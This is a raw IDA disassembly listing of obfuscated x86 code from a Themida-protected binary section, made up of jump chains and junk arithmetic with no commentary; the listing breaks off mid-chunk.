
loc_590A92:				; CODE XREF: Themida_:00590A99j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_590A92
; START	OF FUNCTION CHUNK FOR sub_597198


loc_590A9B:				; CODE XREF: Themida_:00590C13j
					; Themida_:00590EB2j ...
		lodsb
		sub	esp, 4
		jmp	loc_5A0A0A
; END OF FUNCTION CHUNK	FOR sub_597198
; ---------------------------------------------------------------------------


loc_590AA4:				; CODE XREF: Themida_:005A0C5Dj
		mov	dl, [esp+4]
		mov	[esp+4], al
		jmp	loc_59D7D6
; ---------------------------------------------------------------------------


loc_590AB1:				; CODE XREF: Themida_:005A4C82j
		sub	esi, 1
		push	ecx
		mov	ecx, 641075D9h
		shr	ecx, 5
		shl	ecx, 5
		jmp	loc_5A0264

; =============== S U B	R O U T	I N E =======================================



sub_590AC5	proc near		; CODE XREF: sub_59390B+10F2Fj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059140A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005929AB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00593816 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00596A87 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059AE89 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B68F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059C3B9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C450 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CA88 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D4F5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059EFE0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059F0BF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059FAC8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059FEA5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A0DF9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A19AA SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A1A75 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A3F5B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A57D3 SIZE 00000041 BYTES

		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+4+var_4]
		pop	esp
		jmp	loc_59D4F5
sub_590AC5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AB43


loc_590AD4:				; CODE XREF: sub_59AB43-61CCj
		shr	edx, 3
		sub	edx, 4318239Bh
		shl	edx, 3
		jmp	sub_591F0D
; END OF FUNCTION CHUNK	FOR sub_59AB43
; ---------------------------------------------------------------------------


loc_590AE5:				; CODE XREF: Themida_:00595FA5j
		add	esp, 4
		push	edx
		mov	dh, 25h
		sub	ch, dh
		pop	edx
		shr	ch, 1
		shl	ch, 5
		sub	ch, 83h
		sub	al, 0D4h
		add	al, ch
		add	al, 0D4h
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, 1F5619DEh
		add	edi, ebx
		jmp	loc_59CF4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_590B18:				; CODE XREF: sub_59CFD4-256Fj
		pop	ebp
		add	ebp, 4
		push	ecx
		jmp	loc_59D6D8
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_590B25:				; CODE XREF: sub_59E918-CE97j
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		add	eax, 3B4627EFh
		add	eax, 7F304BE5h
		jmp	loc_59DF39
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_590B3D:				; CODE XREF: Themida_:0059E5C5j
		pop	ecx
		mov	bl, dl
		jmp	loc_5A36E5
; ---------------------------------------------------------------------------


loc_590B45:				; CODE XREF: Themida_:00592105j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ebp, 4
		push	6F03h
		jmp	loc_594FA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_590B5F:				; CODE XREF: sub_5964AF-4BD5j
		pop	edx
		sub	[esp-4+arg_4], 6CB2331Bh
		sub	[esp-4+arg_4], eax
		jmp	loc_59B325
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------


loc_590B71:				; CODE XREF: Themida_:0059F9F6j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		push	38D4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A279E

; =============== S U B	R O U T	I N E =======================================



sub_590B8D	proc near		; CODE XREF: sub_59390B+E402j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00591BB3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005922FF SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00597435 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059AA15 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A151F SIZE 0000001C BYTES

		push	ebx
		jmp	loc_5A151F
sub_590B8D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_590B93:				; CODE XREF: sub_59390B+F30Cj
		pop	esp
		push	[esp-8+arg_0]
		jmp	loc_596CA0
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_590B9C	proc near		; DATA XREF: Themida_:005909B0o

var_8		= dword	ptr -8

		lodsd
		push	edx
		push	5983h
		mov	[esp+8+var_8], edi
		jmp	sub_59E93C
sub_590B9C	endp

; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		jmp	loc_59EDF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F8C2


loc_590BB5:				; CODE XREF: sub_59F8C2-1947j
		sub	ebx, 0B0CBFD01h
		add	edx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp+8+var_8]
		jmp	loc_5A07C2
; END OF FUNCTION CHUNK	FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_590BCF:				; CODE XREF: sub_59390B+2059j
		mov	ecx, [esp+0]
		add	esp, 4
		add	ecx, ebx
		jmp	loc_59FE7E
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_590BDF	proc near		; CODE XREF: sub_59654E+1E6Bj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00594463 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00595178 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059671B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00598613 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00599A5F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059B02C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059E0D7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059EA90 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A198E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2D65 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A357F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A35FB SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A3FA7 SIZE 0000000D BYTES

		push	ebx
		push	esi
		jmp	loc_594463
sub_590BDF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F4F


loc_590BE6:				; CODE XREF: sub_5A4F4F-F613j
		mov	ebp, esi
		pop	esi
		add	ebx, 37D7C4Eh
		push	ebp
		mov	ebp, 765D5DF9h
		add	ebx, ebp
		pop	ebp
		add	ebx, ebp
		sub	ebx, 765D5DF9h
		jmp	loc_59254C
; END OF FUNCTION CHUNK	FOR sub_5A4F4F
; ---------------------------------------------------------------------------


loc_590C05:				; CODE XREF: Themida_:00597512j
		push	4362h
		jmp	loc_59DDB5
; ---------------------------------------------------------------------------


loc_590C0F:				; CODE XREF: Themida_:00594C1Fj
		mov	[esp], ax
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_590C18:				; CODE XREF: sub_59E918-B88Ej
		dec	cl
		and	cl, 22h
		sub	cl, 7Dh
		push	edx
		mov	dh, 0C1h
		push	ebx
		mov	bh, 0A6h
		inc	bh
		xor	bh, 0Eh
		sub	bh, 9Eh
		and	dh, bh
		pop	ebx
		push	eax
		push	ebx
		jmp	loc_598CE7
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_590C38:				; CODE XREF: sub_59390B-1C97j
		mov	[esp-8+arg_0], edi
		mov	edi, 0BF484Fh
		dec	edi
		not	edi
		inc	edi
		or	edi, 1E56206Fh
		jmp	sub_5A23FB
; ---------------------------------------------------------------------------


loc_590C4F:				; CODE XREF: sub_59390B+1C07j
		add	al, 0C6h
		sub	al, bl
		push	4A6Eh
		jmp	loc_596676
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_590C5D:				; CODE XREF: Themida_:005A2C90j
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		jmp	loc_59516C
; ---------------------------------------------------------------------------


loc_590C68:				; CODE XREF: Themida_:005977F1j
		pop	esi
		mov	ebx, ebp
		jmp	loc_592FDA
; ---------------------------------------------------------------------------


loc_590C70:				; CODE XREF: Themida_:0059B385j
		add	eax, 33912BDDh
		pop	edx
		pop	ecx
		push	ebx
		jmp	loc_595CEC
; ---------------------------------------------------------------------------


loc_590C7D:				; CODE XREF: Themida_:0059AD8Ej
		inc	ebp
		xor	ebp, 0AD93C1EDh
		jmp	loc_59A29B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_590C89:				; CODE XREF: sub_59CFD4+8758j
		sub	[esp+8+var_4], ebx
		sub	[esp+8+var_4], 1AF641FCh
		add	[esp+8+var_4], 4C5C30B6h
		push	eax
		jmp	loc_59B825
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------


loc_590CA3:				; CODE XREF: Themida_:00594DF1j
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59AF1A
; ---------------------------------------------------------------------------


loc_590CBB:				; CODE XREF: Themida_:00594D36j
		or	eax, 53AE348Ch
		push	esi
		mov	esi, 6F801697h
		inc	esi
		not	esi
		or	esi, 2C9E7B1Eh
		sub	esi, 30FE7319h
		sub	eax, 73DB7F1Dh
		add	eax, esi
		add	eax, 73DB7F1Dh
		pop	esi
		add	edi, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59AEA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_590CED:				; CODE XREF: sub_59FD45+4107j
		pop	ebp
		add	ebx, eax
		pop	eax
		add	ebx, edi
		push	4135h
		mov	[esp-4+arg_0], edi
		mov	edi, 4DFB4F95h
		add	edi, 0E5A4C9FAh
		push	ebp
		mov	ebp, 21232BD0h
		push	ebx
		jmp	loc_59B274
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------


loc_590D12:				; CODE XREF: Themida_:005A0E04j
		add	esp, 4
		push	edi
		mov	edi, 4B592359h
		jmp	loc_5A4612
; ---------------------------------------------------------------------------


loc_590D23:				; CODE XREF: Themida_:00596AFFj
		mov	eax, [esp]
		add	esp, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_592498
; ---------------------------------------------------------------------------


loc_590D37:				; CODE XREF: Themida_:0059F9EEj
		mov	al, ch
		pop	ecx
		jmp	loc_592F55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_590D3F:				; CODE XREF: sub_59E918-1CDj
		add	esp, 4
		push	58F7h
		mov	[esp+6+var_8+2], ebx
		mov	bl, 0E8h
		sub	al, bl
		pop	ebx
		push	dx
		mov	dh, 8Eh
		add	al, dh
		mov	dx, [esp+4+var_4]
		jmp	loc_591A6C
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_590D61:				; CODE XREF: Themida_:005913CAj
		not	ebp
		jmp	loc_59CB4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AB43


loc_590D68:				; CODE XREF: sub_59AB43-493Cj
		pop	ebx
		sub	ebx, edx
		pop	edx
		add	edi, ebx
		jmp	loc_59F6D8
; END OF FUNCTION CHUNK	FOR sub_59AB43
; ---------------------------------------------------------------------------


loc_590D73:				; CODE XREF: Themida_:005926C5j
		pop	esi
		sub	eax, ebx
		push	ecx
		mov	ecx, 451A4B94h
		xor	ecx, 19432A49h
		add	ecx, 69A1631Ch
		add	ecx, 0A58F4C3Ch
		add	eax, ecx
		pop	ecx
		pop	ebx
		push	ecx
		push	esp
		pop	ecx
		push	eax
		jmp	loc_595C35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59333E


loc_590D9B:				; CODE XREF: sub_59333E+A6B3j
		xchg	ebp, [esp+8+var_8]
		jmp	loc_59D9DE
; END OF FUNCTION CHUNK	FOR sub_59333E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_590DA3:				; CODE XREF: sub_59390B+4E81j
		and	esi, 4C1D0516h
		add	esi, 7EC42299h
		sub	esi, 5740D82Fh
		sub	ecx, esi
		pop	esi
		not	ecx
		push	eax
		jmp	loc_5A52C5
; ---------------------------------------------------------------------------


loc_590DC0:				; CODE XREF: sub_59390B+11B6Bj
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A2FB0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_590DCD:				; CODE XREF: Themida_:00592370j
		mov	[esp], esi
		push	140Dh
		mov	[esp], edi
		push	5CA9h
		mov	[esp], edx
		push	3DD533AEh
		pop	edx
		sub	edx, 3B722F91h
		mov	edi, edx
		pop	edx
		jmp	loc_59B422
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_590DF4:				; CODE XREF: sub_59390B+D7B9j
		push	edi
		jmp	loc_5A159D
; ---------------------------------------------------------------------------


loc_590DFA:				; CODE XREF: sub_59390B+646Aj
		mov	ebp, 4662163Ah
		jmp	loc_599A0D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_590E04:				; CODE XREF: sub_59A75E-4825j
		and	esi, 35136091h
		jmp	loc_59E0EF
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_590E0F:				; CODE XREF: sub_5A17BF-1AFEj
		xchg	edx, esi
		push	ebx
		jmp	loc_591635
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------


loc_590E17:				; CODE XREF: Themida_:005A00FBj
		sub	esp, 4
		jmp	loc_59744D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_590E1F:				; CODE XREF: sub_595BAD+B0F7j
		sub	[esp+arg_0], 7E772834h
		add	[esp+arg_0], ebx
		add	[esp+arg_0], 7E772834h
		sub	[esp+arg_0], 39880D71h
		push	dword ptr [esp+0]
		jmp	loc_5955C7
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_590E43:				; CODE XREF: sub_59A431-5A74j
		add	ecx, 4
		push	edx
		mov	edx, 5B26585Ah
		push	ecx
		mov	ecx, 4E48364Dh
		jmp	loc_5972DD
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_590E5A:				; CODE XREF: sub_5A51EA-737Cj
		mov	ah, bh
		pop	ebx
		mov	cl, dh
		mov	dh, ah
		pop	ax
		inc	cl
		jmp	loc_59D822
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------


loc_590E6A:				; CODE XREF: Themida_:0059C24Bj
		and	esi, 0C6F46BAh
		jmp	loc_5A0180
; ---------------------------------------------------------------------------


loc_590E75:				; CODE XREF: Themida_:00594C5Aj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_59694D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_590E81:				; CODE XREF: sub_59CFD4+4159j
		mov	[esp+14h+var_14], eax
		push	4C570F34h
		pop	eax
		sub	eax, 2D823EBDh
		push	6988h
		mov	[esp+18h+var_18], eax
		jmp	loc_5A014A
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_590E9C:				; CODE XREF: sub_591FC5+D1BBj
		sub	ah, 0CAh
		or	ch, ah
		jmp	loc_592CCA
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------


loc_590EA6:				; CODE XREF: Themida_:005A2B1Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0BFE


loc_590EB7:				; CODE XREF: sub_5A0BFE-9A43j
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_5994D1
; END OF FUNCTION CHUNK	FOR sub_5A0BFE
; ---------------------------------------------------------------------------


loc_590EC2:				; CODE XREF: Themida_:005A1747j
		add	esi, ecx
		sub	esi, 5AA85319h
		pop	ecx
		jmp	loc_5A2B9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_590ED0:				; CODE XREF: sub_59390B+260j
		mov	[esp+0], ecx
		push	ebp
		mov	ebp, 54F22DF3h
		xor	ebp, 54F22DF7h
		mov	ecx, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		add	[esp+4], ecx
		pop	ecx
		pop	dword ptr [esp+0]
		add	[esp-8+arg_0], 4
		pop	[esp-8+arg_0]
		push	edx
		jmp	sub_5A3EFB
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_590EFF:				; CODE XREF: Themida_:00591FA5j
		add	bh, 0E3h
		sub	dh, 0E1h
		sub	dh, bh
		add	dh, 0E1h
		mov	ebx, [esp]
		jmp	loc_59F8A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_590F12:				; CODE XREF: sub_59390B+4A49j
		mov	eax, ebx
		mov	ebx, [esp-8+arg_0]
		jmp	loc_598D3B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D82E


loc_590F1C:				; CODE XREF: sub_59D82E+Dj
		inc	ebx
		sub	ebx, 1A933884h
		sub	ecx, ebx
		pop	ebx
		neg	ecx
		xor	ecx, 0BB1A13D8h
		push	ecx
		add	dword ptr [esp+0], 47AB0347h
		pop	edx
		sub	edx, 47AB0347h
		pop	ecx
		add	ecx, edx
		pop	edx
		xor	ecx, [esp-0Ch+arg_8]
		jmp	loc_5976EA
; END OF FUNCTION CHUNK	FOR sub_59D82E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_590F49:				; CODE XREF: sub_59390B+3BEj
		mov	[esp-8+arg_0], eax
		mov	eax, 4
		sub	ecx, 496A01CEh
		sub	ecx, 6C3A0483h
		add	ecx, eax
		push	eax
		jmp	loc_5A1994
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338E


loc_590F65:				; CODE XREF: sub_59338E+33F9j
		add	eax, 5596072Eh
		not	eax
		add	eax, 13BEA521h
		jmp	loc_59AAFB
; END OF FUNCTION CHUNK	FOR sub_59338E
; ---------------------------------------------------------------------------


loc_590F76:				; CODE XREF: Themida_:00591C48j
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 554D2E0Bh
		jmp	loc_597243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_590F8F:				; CODE XREF: sub_59390B+9F0Bj
		mov	si, [esp+0]
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 13971A7Dh
		push	esi
		mov	esi, 7E8E60B8h
		jmp	loc_59C60B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_590FB2:				; CODE XREF: Themida_:0059BD38j
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	loc_5A01C7
; ---------------------------------------------------------------------------
		lodsd
		push	40EAh
		mov	[esp], ebp
		mov	ebp, 611B0AA3h
		push	778Dh
		mov	[esp], eax
		mov	eax, 74EE6D45h
		xor	ebp, eax
		jmp	loc_59CBE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_590FE0:				; CODE XREF: sub_59390B+2C6Bj
		push	[esp+8+var_4]
		pop	eax
		jmp	loc_5961D5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2AF


loc_590FEA:				; CODE XREF: sub_59B2AF+7578j
		push	6EBDh
		mov	[esp+8+var_8], ecx
		mov	ecx, 4
		add	[esp+8+var_4], ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_593379
; END OF FUNCTION CHUNK	FOR sub_59B2AF
; ---------------------------------------------------------------------------


loc_591009:				; CODE XREF: Themida_:00596442j
		sub	edx, 71271C5h
		pop	ebp
		push	esi
		jmp	loc_5A5876
; ---------------------------------------------------------------------------


loc_591016:				; CODE XREF: Themida_:0059BB64j
		mov	[esp], edi
		push	59DCh
		mov	[esp], ecx
		mov	ecx, 59201139h
		push	ecx
		pop	edi
		pop	ecx
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A3FDB
; ---------------------------------------------------------------------------


loc_591039:				; CODE XREF: Themida_:005A3B0Bj
		mov	edi, 10557D8Ch
		push	ebp
		push	2C1969ACh
		pop	ebp
		jmp	loc_59FA75
; ---------------------------------------------------------------------------


loc_59104A:				; CODE XREF: Themida_:00595A05j
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5A581C
; ---------------------------------------------------------------------------


loc_591074:				; CODE XREF: Themida_:00592E59j
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		push	esi
		mov	esi, 4
		jmp	loc_59ED6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_591085:				; CODE XREF: sub_59E918-5C2Fj
		mov	al, bl
		pop	ebx
		add	dh, al
		pop	eax
		sub	dh, 83h
		xor	cl, dh
		pop	edx
		push	2731h
		mov	[esp+0Ch+var_C], ebx
		push	edx
		mov	dh, 0D0h
		or	dh, 0Ah
		add	dh, 7Bh
		add	dh, 0F6h
		add	dh, 0FAh
		mov	bh, dh
		jmp	loc_5A3D6A
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5910AF:				; CODE XREF: sub_59390B+113C5j
		sub	ebp, 0A6512055h
		jmp	loc_596238
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5910BA:				; CODE XREF: Themida_:005A1B10j
		sub	edi, 0E59364Eh
		add	edi, esi
		push	eax
		mov	eax, 0E59364Eh
		add	edi, eax
		pop	eax
		pop	esi
		add	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		idiv	cx
		push	small 2816h
		jmp	loc_59866D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5910EA:				; CODE XREF: sub_59390B+FC26j
		push	edx
		mov	edx, 40E5D8Ch
		add	edi, 27E60924h
		add	edi, edx
		sub	edi, 27E60924h
		pop	edx
		push	edi
		pop	esi
		pop	edi
		jmp	loc_59F05A
; ---------------------------------------------------------------------------


loc_591107:				; CODE XREF: sub_59390B+11F56j
		or	eax, eax
		jz	loc_59F872
		push	dword ptr [edi+1Ch]
		push	[esp+8+var_8]
		pop	ecx
		jmp	loc_5947F9
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59111B:				; CODE XREF: Themida_:005A04ECj
		sub	eax, 1EC2650h
		jmp	loc_59987D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0BFE


loc_591125:				; CODE XREF: sub_5A0BFE-1DDj
		mov	edx, [esp-4+arg_0]
		jmp	loc_59968D
; END OF FUNCTION CHUNK	FOR sub_5A0BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59112D:				; CODE XREF: sub_59390B+D855j
		shl	edx, 1
		not	edx
		neg	edx
		sub	edx, 4D2548Dh
		jmp	loc_5A0751
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59113E:				; CODE XREF: Themida_:0059D168j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5987B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59114F:				; CODE XREF: sub_59390B+12BDj
		inc	edi
		xor	edi, 0B144A9Fh
		xor	edi, 4722049Ch
		sub	ebx, edi
		pop	edi
		add	ebx, esi
		push	ebp
		mov	ebp, 4C064726h
		add	ebx, ebp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	[esp+4+var_4]
		pop	esi
		jmp	loc_5A59C1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_59117B:				; CODE XREF: sub_59A75E+73A7j
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_59155F
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_591183:				; CODE XREF: Themida_:005A179Ej
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, 1
		add	edi, 2FB80A22h
		add	edi, ecx
		push	esi
		jmp	loc_59C1EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5911A1:				; CODE XREF: sub_59390B+10E4Fj
		push	[esp+4+var_4]
		mov	edx, [esp+8+var_8]
		jmp	loc_59E024
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5911AC:				; CODE XREF: Themida_:0059FA04j
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_59DB4B
; ---------------------------------------------------------------------------


loc_5911BD:				; CODE XREF: Themida_:005A1AFAj
		mov	edi, esi
		jmp	loc_59E811
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5911C4:				; CODE XREF: sub_59390B+5590j
		add	edi, 54C72593h
		sub	edi, edx
		sub	edi, 54C72593h
		pop	edx
		jmp	loc_5A5046
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_5911D8:				; CODE XREF: sub_59A75E+231Dj
		xor	ebx, 5B8967FFh
		push	edx
		mov	edx, 7D0A6B59h
		xor	ebx, edx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		sub	ebx, 3DA03687h
		xor	ebx, 15E7702Ah
		add	ebx, 1162CAF8h
		sub	ebp, ebx
		jmp	loc_5A1CB3
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591205:				; CODE XREF: sub_59390B+763Fj
		add	ebp, 7E335069h
		add	ebp, esi
		jmp	sub_59C8A4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59822A


loc_591212:				; CODE XREF: sub_59822A+9E0Cj
		pop	ecx
		xor	eax, [esp+0]
		jmp	loc_59F99D
; END OF FUNCTION CHUNK	FOR sub_59822A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_59121B:				; CODE XREF: sub_5936EC+11C0Aj
		add	ebp, edi
		mov	edi, [esp+0Ch+var_C]
		jmp	loc_595B88
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_591225:				; CODE XREF: sub_59390B+8BD6j
		pop	eax
